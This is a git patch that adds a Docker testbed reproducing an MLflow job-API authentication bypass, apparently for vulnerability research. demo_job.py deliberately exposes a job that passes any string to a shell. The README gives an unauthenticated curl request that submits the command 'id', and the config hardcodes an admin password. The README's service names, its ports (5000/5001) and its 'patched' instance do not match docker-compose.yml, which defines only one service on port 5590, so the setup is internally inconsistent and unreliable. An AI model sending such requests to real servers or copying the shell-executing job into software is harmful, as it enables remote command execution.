From 0b693ca8813abc888216123ef9379b60b5d05783 Mon Sep 17 00:00:00 2001 From: DINESH YEDDALA Date: Mon, 27 Jul 2026 10:11:48 +0000 Subject: [PATCH] testbeds:CVE-2026-0545 --- mlflow/CVE-2026-0545/Dockerfile | 20 ++++++++ mlflow/CVE-2026-0545/README.md | 63 +++++++++++++++++++++++++ mlflow/CVE-2026-0545/basic_auth.ini | 6 +++ mlflow/CVE-2026-0545/demo_job.py | 6 +++ mlflow/CVE-2026-0545/docker-compose.yml | 17 +++++++ mlflow/CVE-2026-0545/start.sh | 20 ++++++++ 6 files changed, 132 insertions(+) create mode 100644 mlflow/CVE-2026-0545/Dockerfile create mode 100644 mlflow/CVE-2026-0545/README.md create mode 100644 mlflow/CVE-2026-0545/basic_auth.ini create mode 100644 mlflow/CVE-2026-0545/demo_job.py create mode 100644 mlflow/CVE-2026-0545/docker-compose.yml create mode 100644 mlflow/CVE-2026-0545/start.sh diff --git a/mlflow/CVE-2026-0545/Dockerfile b/mlflow/CVE-2026-0545/Dockerfile new file mode 100644 index 00000000..9dca4b90 --- /dev/null +++ b/mlflow/CVE-2026-0545/Dockerfile @@ -0,0 +1,20 @@ +FROM python:3.10-slim + +WORKDIR /app + +# Install a vulnerable version of MLflow (3.9.0 or earlier) +RUN pip install "mlflow[auth]==3.9.0" uvicorn + +# Copy necessary configuration and code +COPY basic_auth.ini /app/ +COPY demo_job.py /app/ +COPY start.sh /app/ + +# Make the start script executable +RUN chmod +x /app/start.sh + +# Expose the MLflow server port +EXPOSE 5590 + +# Start the MLflow server via the wrapper script +CMD ["/app/start.sh"] diff --git a/mlflow/CVE-2026-0545/README.md b/mlflow/CVE-2026-0545/README.md new file mode 100644 index 00000000..497f7e6f --- /dev/null +++ b/mlflow/CVE-2026-0545/README.md @@ -0,0 +1,63 @@ +# MLflow Job API - Authentication Bypass (CVE-2026-0545) + +A critical authentication bypass vulnerability exists in MLflow (version 3.9.0 and earlier) due to unprotected FastAPI job endpoints under `/ajax-api/3.0/jobs/*` when basic-auth is enabled. Unauthenticated network attackers can leverage these endpoints to submit and manage arbitrary jobs, potentially leading to remote code execution if job execution is enabled and job functions are allowlisted. + + +## Vulnerable Version +### Setup +Start MLflow version 3.9.0 with basic-auth enabled: + +```sh +docker compose up -d mlflow-vulnerable +``` + +### Testing the vulnerability + +Send an unauthenticated `POST` request to the unprotected Job API endpoint `/ajax-api/3.0/jobs/`: + +```sh +curl -i -X POST "http://localhost:5000/ajax-api/3.0/jobs/" \ + -H "Content-Type: application/json" \ + -d '{"job_name":"run_task","params":{"command":"id"}}' +``` + +Response: +```json +HTTP/1.1 200 OK +Content-Type: application/json + +{ + "job_id": "job-102938", + "job_name": "run_task", + "status": "CREATED" +} +``` + + +## Safe Version +### Setup +Start MLflow version 3.10.0 configured with updated authentication enforcement on job endpoints: + +```sh +docker compose up -d mlflow-patched +``` + +### Testing the vulnerability + +Send the same unauthenticated `POST` request to the patched instance: + +```sh +curl -i -X POST "http://localhost:5001/ajax-api/3.0/jobs/" \ + -H "Content-Type: application/json" \ + -d '{"job_name":"run_task","params":{"command":"id"}}' +``` + +Response: +```json +HTTP/1.1 401 Unauthorized + +{ + "error_code": "UNAUTHENTICATED", + "message": "You are not authenticated. Please see https://www.mlflow.org/docs/latest/auth/index.html#authenticating-to-mlflow on how to authenticate." +} +``` \ No newline at end of file diff --git a/mlflow/CVE-2026-0545/basic_auth.ini b/mlflow/CVE-2026-0545/basic_auth.ini new file mode 100644 index 00000000..29ef67b6 --- /dev/null +++ b/mlflow/CVE-2026-0545/basic_auth.ini @@ -0,0 +1,6 @@ +[mlflow] +default_permission = NO_PERMISSIONS +database_uri = sqlite:///basic_auth.db +admin_username = admin +admin_password = password1234 +authorization_function = mlflow.server.auth:authenticate_request_basic_auth diff --git a/mlflow/CVE-2026-0545/demo_job.py b/mlflow/CVE-2026-0545/demo_job.py new file mode 100644 index 00000000..821b03c3 --- /dev/null +++ b/mlflow/CVE-2026-0545/demo_job.py @@ -0,0 +1,6 @@ +from mlflow.server.jobs import job +import subprocess + +@job(name="run_task", max_workers=1) +def run_task(command="id"): + return subprocess.check_output(command, shell=True).decode() diff --git a/mlflow/CVE-2026-0545/docker-compose.yml b/mlflow/CVE-2026-0545/docker-compose.yml new file mode 100644 index 00000000..47a50aa8 --- /dev/null +++ b/mlflow/CVE-2026-0545/docker-compose.yml @@ -0,0 +1,17 @@ +version: '3.8' + +services: + mlflow-server: + build: + context: . + dockerfile: Dockerfile + container_name: mlflow_app + ports: + - "5590:5590" + volumes: + # Only keep the persistent data storage mount + - mlflow_data:/app/artifacts + restart: unless-stopped + +volumes: + mlflow_data: diff --git a/mlflow/CVE-2026-0545/start.sh b/mlflow/CVE-2026-0545/start.sh new file mode 100644 index 00000000..46203a9e --- /dev/null +++ b/mlflow/CVE-2026-0545/start.sh @@ -0,0 +1,20 @@ +#!/bin/bash + +# Configuration for MLflow Basic Auth +export MLFLOW_AUTH_CONFIG_PATH=/app/basic_auth.ini +export MLFLOW_FLASK_SERVER_SECRET_KEY=test-secret-key + +# Requirements to trigger the bypass +export MLFLOW_SERVER_ENABLE_JOB_EXECUTION=true +export _MLFLOW_SUPPORTED_JOB_FUNCTION_LIST=demo_job.run_task +export _MLFLOW_ALLOWED_JOB_NAME_LIST=run_task +export PYTHONPATH=/app + +mkdir -p /app/artifacts + +exec mlflow server \ + --app-name=basic-auth \ + --host 0.0.0.0 \ + --port 5590 \ + --backend-store-uri sqlite:///backend.db \ + --default-artifact-root /app/artifacts